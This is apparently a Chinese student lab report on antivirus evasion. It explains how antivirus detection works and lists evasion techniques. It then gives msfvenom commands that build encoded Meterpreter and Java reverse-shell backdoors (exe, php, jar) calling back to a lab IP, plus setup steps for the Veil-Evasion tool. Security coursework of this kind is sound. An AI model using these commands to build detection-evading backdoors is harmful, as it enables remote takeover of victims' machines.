Exp3-免杀原理
实验基础
问题回答
1 杀软是如何检测出恶意代码的?
(1)检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
(2)启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
(3)基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
2 免杀是做什么?
采取一些手段使我们的病毒程序不被杀毒软件检查出来。可以正常运行以便于我们成功控制靶机。
3 免杀的基本方法有哪些?
- 改变特征码 :
①加壳:压缩壳 加密壳
②用shellcode(像Meterpreter) ,encode进行编码
③基于payload重新编译生成可执行文件
- 改变行为 :
①尽量使用反弹式连接,可以避免防火墙的阻拦。
②使用隧道技术,加密通讯数据,作伪装,使杀软无法检测到病毒代码,进而放行。
③尽量基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。
④使用一个有漏洞的应用当成后门。
⑤纯手工或者半手工打造一个恶意软件。
- 修改内存特征码
- 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
- 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
- 非常规方法
4 开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止。
实验内容
0 实验准备
免杀测试平台:https://www.virustotal.com
kali虚拟机IP地址:192.168.162.129
1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1.1 kali的IP地址192.168.162.129
1.2 检验直接生成的后门exe文件(实验二中的后门程序)
实验二中生成后门exe文件进行免杀检测
用免杀测试平台测试:https://www.virustotal.com
测试结果如下:
1.3 使用Unicode编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.162.129 LPORT=1329 -f exe > 20201329backdoor.exe
测试结果:
多次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.162.129 LPORT=1329 -f exe > 20201329backdoor1.exe
测试结果:
1.4利用php格式文件检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.162.129 LPORT=1329 x> 20201329backdoor_php.php
1.5利用jar文件检测
msfvenom -p java/shell_reverse_tcp LHOST=192.168.162.129 LPORT=1329 -f jar > 20201329backdoor_jar.jar
2 veil,加壳工具
2.1安装veil-evasion
输入sudo su
进入root用户模式
sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为
sudo git clone https://gitee.com/spears/VeilDependencies.git
3 使用C + shellcode编程
4 通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)